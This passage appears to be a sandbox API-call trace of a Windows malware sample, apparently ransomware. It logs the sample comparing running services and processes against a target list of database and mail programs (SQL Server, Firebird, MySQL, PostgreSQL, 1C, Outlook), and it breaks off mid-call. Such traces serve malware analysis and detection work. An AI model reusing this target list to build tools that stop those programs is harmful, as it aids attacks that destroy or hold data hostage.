lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0164.266] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0164.266] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0164.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0164.266] lstrlenW (lpString="MpsSvc") returned 6 [0164.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0164.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0164.266] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0164.266] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0164.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0164.266] lstrlenW (lpString="Netman") returned 6 [0164.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0164.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0164.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0164.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0164.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0164.267] lstrlenW (lpString="netprofm") returned 8 [0164.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0164.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0164.267] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0164.267] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0164.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0164.267] lstrlenW (lpString="NlaSvc") returned 6 [0164.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0164.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0164.267] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0164.267] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0164.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0164.267] lstrlenW (lpString="nsi") returned 3 [0164.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0164.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0164.267] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0164.267] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0164.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0164.267] lstrlenW (lpString="PcaSvc") returned 6 [0164.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0164.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0164.267] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0164.267] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0164.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0164.267] lstrlenW (lpString="PlugPlay") returned 8 [0164.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0164.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0164.267] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0164.267] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0164.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0164.267] lstrlenW (lpString="Power") returned 5 [0164.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0164.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0164.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0164.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0164.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0164.268] lstrlenW (lpString="ProfSvc") returned 7 [0164.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0164.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0164.268] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0164.268] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0164.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0164.268] lstrlenW (lpString="RpcEptMapper") returned 12 [0164.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.268] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0164.268] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0164.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0164.268] lstrlenW (lpString="RpcSs") returned 5 [0164.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0164.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0164.268] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0164.268] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0164.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0164.268] lstrlenW (lpString="SamSs") returned 5 [0164.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0164.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0164.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0164.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0164.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0164.268] lstrlenW (lpString="Schedule") returned 8 [0164.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0164.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0164.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0164.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0164.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0164.269] lstrlenW (lpString="SENS") returned 4 [0164.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0164.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0164.269] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0164.269] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0164.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0164.269] lstrlenW (lpString="ShellHWDetection") returned 16 [0164.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.269] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0164.269] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0164.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0164.269] lstrlenW (lpString="Spooler") returned 7 [0164.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0164.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0164.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0164.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0164.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0164.269] lstrlenW (lpString="SysMain") returned 7 [0164.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0164.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0164.269] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0164.269] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0164.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0164.269] lstrlenW (lpString="Themes") returned 6 [0164.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0164.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0164.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0164.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0164.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0164.269] lstrlenW (lpString="TrkWks") returned 6 [0164.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0164.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0164.269] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0164.269] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0164.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0164.270] lstrlenW (lpString="UxSms") returned 5 [0164.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0164.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0164.270] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0164.270] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0164.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0164.270] lstrlenW (lpString="WdiServiceHost") returned 14 [0164.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0164.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0164.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0164.270] lstrlenW (lpString="WdiSystemHost") returned 13 [0164.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0164.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0164.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0164.270] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0164.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0164.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0164.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0164.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0164.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0164.270] lstrlenW (lpString="Winmgmt") returned 7 [0164.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0164.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0164.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0164.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0164.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0164.270] lstrlenW (lpString="WPDBusEnum") returned 10 [0164.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0164.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0164.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0164.271] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0164.271] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0164.272] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.273] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0164.273] lstrlenW (lpString="System") returned 6 [0164.273] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0164.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0164.273] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0164.273] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0164.273] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0164.273] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0164.273] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0164.273] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0164.273] lstrlenW (lpString="smss.exe") returned 8 [0164.273] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0164.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0164.273] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0164.273] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0164.274] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0164.274] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0164.274] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0164.274] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.274] lstrlenW (lpString="csrss.exe") returned 9 [0164.274] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0164.274] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0164.274] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0164.274] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0164.274] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0164.274] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0164.274] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0164.274] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0164.274] lstrlenW (lpString="wininit.exe") returned 11 [0164.274] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0164.274] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0164.275] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0164.275] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0164.275] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0164.275] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0164.275] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0164.275] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.275] lstrlenW (lpString="csrss.exe") returned 9 [0164.275] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0164.275] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0164.275] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0164.275] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0164.275] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0164.275] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0164.275] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0164.276] lstrlenW (lpString="winlogon.exe") returned 12 [0164.276] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0164.276] lstrlenW (lpString="services.exe") returned 12 [0164.276] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0164.276] lstrlenW (lpString="lsass.exe") returned 9 [0164.276] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0164.277] lstrlenW (lpString="lsm.exe") returned 7 [0164.277] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.277] lstrlenW (lpString="svchost.exe") returned 11 [0164.277] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.277] lstrlenW (lpString="svchost.exe") returned 11 [0164.277] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.278] lstrlenW (lpString="svchost.exe") returned 11 [0164.278] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.278] lstrlenW (lpString="svchost.exe") returned 11 [0164.278] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.278] lstrlenW (lpString="svchost.exe") returned 11 [0164.278] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0164.279] lstrlenW (lpString="audiodg.exe") returned 11 [0164.279] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.279] lstrlenW (lpString="svchost.exe") returned 11 [0164.279] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0164.279] lstrlenW (lpString="explorer.exe") returned 12 [0164.279] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0164.280] lstrlenW (lpString="dwm.exe") returned 7 [0164.280] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.280] lstrlenW (lpString="svchost.exe") returned 11 [0164.280] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0164.280] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0164.280] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0164.281] lstrlenW (lpString="spoolsv.exe") returned 11 [0164.281] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0164.281] lstrlenW (lpString="reader_sl.exe") returned 13 [0164.281] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.281] lstrlenW (lpString="svchost.exe") returned 11 [0164.281] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0164.282] lstrlenW (lpString="taskhost.exe") returned 12 [0164.282] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0164.282] lstrlenW (lpString="dllhost.exe") returned 11 [0164.282] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0164.282] lstrlenW (lpString="taskhost.exe") returned 12 [0164.282] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0164.283] lstrlenW (lpString="consent.exe") returned 11 [0164.283] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0164.283] CloseHandle (hObject=0x3d0) returned 1 [0164.283] Sleep (dwMilliseconds=0x1f4) [0164.830] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0164.831] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0164.831] GetLastError () returned 0xea [0164.831] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4285088 [0164.831] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x11e4, 